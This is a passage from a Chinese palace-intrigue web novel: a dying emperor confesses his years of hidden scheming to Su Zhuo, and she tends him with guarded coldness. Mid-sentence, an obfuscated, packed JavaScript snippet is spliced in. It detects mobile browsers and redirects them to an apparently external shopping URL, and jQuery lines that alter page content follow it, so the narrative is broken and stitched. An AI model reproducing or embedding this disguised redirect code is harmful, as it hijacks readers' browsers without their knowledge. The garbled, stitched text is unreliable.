他喘得厉害,不得不停下来,喝了一口旁边早已凉透的水,才能继续:
“你父亲……苏相他……察觉萧执通敌,暗中收集证据……萧执反诬,证据伪造得天衣无缝……朝中附逆者众,我初登基,根基未稳,若强行硬保,不仅保不住苏相,反而会逼萧执狗急跳墙,提前发动宫变,届时山河动荡,生灵涂炭……我只能……只能眼睁睁看着苏相下狱,再安排天牢大火,将他金蝉脱壳,送往北境……我以为安排得周密,却还是低估了萧执的狠毒,他竟派死士追杀,苏相虽侥幸逃脱,却自此下落不明……是我无能……”
他闭上眼,泪水长流,那是积压了多年的无力与自责。
“这三年来,我明面上倚重陈东平,放任萧执余党坐大,甚至……纵容他们散布关于你父亲、关于你的污名……暗地里,我一点点布局,联络忠臣,安插影卫,搜集他们更多的罪证……我知道你就在冷宫,就在我眼皮底下受苦,我却不能去看你一眼,不能让人察觉我对你还有半分情意……每一次听到你生病的消息,每一次知道你在宫里被人苛待……我都……”他哽咽难言,浑身颤抖。
苏灼站在原地,听着他一字一句,血淋淋地剖开这三年的隐忍与算计,每一个字都像一把钝刀,在她心上反复切割。她以为自己三年冷宫已是极致苦楚,却不知他身居帝位,却戴着更沉重的枷锁,在阴谋漩涡里独自挣扎,承受着双倍的煎熬。
“此次……假死……”萧寰缓过一口气,声音更虚弱,却坚持说下去,“陈东平羽翼已丰,萧执虽被我设计秘密囚禁,但其党羽仍在,与北莽勾结日深……离魂草的毒,他们用在我身上,也用在你身上……孙邈被他们控制,我不得不服下部分,以取信他们……身体日益败坏,我知道时日无多……唯有假死,才能让他们彻底放松警惕,跳出来,将所有势力摆到明处……也唯有我‘死’,你才能安全离开皇宫,脱离他们视线,去拿到你父亲留下的证据和……玄龙令。”
他目光落在苏灼腰间,那里,半块玄龙令的轮廓隐约可见。
“玄龙令中……藏有先帝留下的……解毒圣药‘回天丹’……和激发影卫最终效忠的‘血契’之法……阿灼……”他看着她,眼中是托付,是祈求,也是深埋的、从未熄灭的情意,“我把另一半令给你,把真相和破局的希望给你……也把……我最后一点生机,交给你。”
石室内,只剩下油灯微弱的噼啪声,和萧寰急促不稳的喘息。
苏灼的眼泪早已流干,脸上只剩下冰冷的湿痕。她看着眼前这个气若游丝、将一切和盘托出的男人,恨吗?似乎恨不起来了。怨吗?那怨怼在巨大的真相和惨烈的现实面前,显得苍白无力。爱吗?那被冰封了三年的情感,正在复苏,带着撕心裂肺的疼痛。
她缓缓走近,在他榻前蹲下身,平视着他泪痕未干的眼睛。然后,她从怀中取出那半块玄龙令,又拿出父亲手记中提到的那枚“影·枢”指环,最后,是那枚龙形玉佩。
“东西,我带回来了。”她声音沙哑,却平静了许多,“北境周崇已集结兵力,南境安国公也在准备。影卫正在待命。李琰在京城,等着里应外合。”她顿了顿,看着他的眼睛,“现在,告诉我,怎么用这令里的药救你?怎么激活影卫?然后——我们一起,出去。清理朝堂,还山河清明。”
萧寰怔怔地看着她,看着她眼中不再有恨意燃烧,只剩下冰封解冻后的沉静与决断。巨大的释然和更汹涌的情感冲击着他,他猛地咳嗽起来,却边咳边努力地想对她笑,那笑容虚弱,却无比真切。
他颤抖着伸出手,这一次,终于轻轻握住了她放在榻边、紧紧攥着玉佩的那只手。
指尖冰凉,却在相触的瞬间,传递过一丝微弱的暖意。
“好。”他紧握着她的手,仿佛握住了余生所有的力量和光明,一字一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17160545|196593||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
句,重若千钧:
“我们一起。”
石室里静得能听见灯花爆开的细响。
萧寰的手很凉,没什么力气,却紧紧握着苏灼的手,好像一松开,眼前这一切就会碎掉。苏灼任由他握着,没抽开,也没回应,就那么蹲在榻边,看着他。油灯的光在她脸上投下晃动的影子,看不清神情。
好一会儿,她才动了动,把手抽出来,站起身。动作很轻,但那份温暖一离开,萧寰心里便空了一下。
“药凉了。”苏灼的声音没什么起伏,端起榻边小几上那碗早已没了热气的汤药,走到石室角落一个简易的小泥炉旁。炉子里还剩点炭火余烬,她蹲下身,拿起火折子吹了吹,橘红的火苗亮起来,映着她半边侧脸。她添了两块碎炭,把药罐子重新架上去。
萧寰靠在榻上,看着她瘦削的背影。她穿着那身粗布靛蓝裙袄,袖子挽起一截,露出细瘦的手腕,有条不紊地拨弄炭火。火光跳跃着,在她发丝和睫毛上镀了层暖色的边。这副样子,让他恍惚想起很久以前,在东宫的时候。有一回他染了风寒,她也是这样,不听宫人劝,非要亲手给他煎药,守在炉子边打瞌睡,额前碎发被火燎了一点都不知道。
那时她眼里全是毫无保留的关切和依赖。
现在……
药罐里的水汽渐渐升腾起来,发出细微的咕嘟声。苏灼用木勺慢慢搅动,苦涩的药味重新弥漫开。她舀起一点,轻轻吹凉,又小心地倒回去,反复几次,试了试温度,这才盛出一碗,端过来。
“喝吧。”她把碗递到他面前,脸上还是没什么表情,甚至没看他,目光落在他身后斑驳的石壁上。
萧寰伸出手,指尖碰到温热的碗沿,却没立刻接。“阿灼,”他声音很低,带着试探,“你……还恨我吗?”
苏灼的手几不可察地顿了顿,随即把碗又往前送了送,几乎要塞进他手里:“喝药。”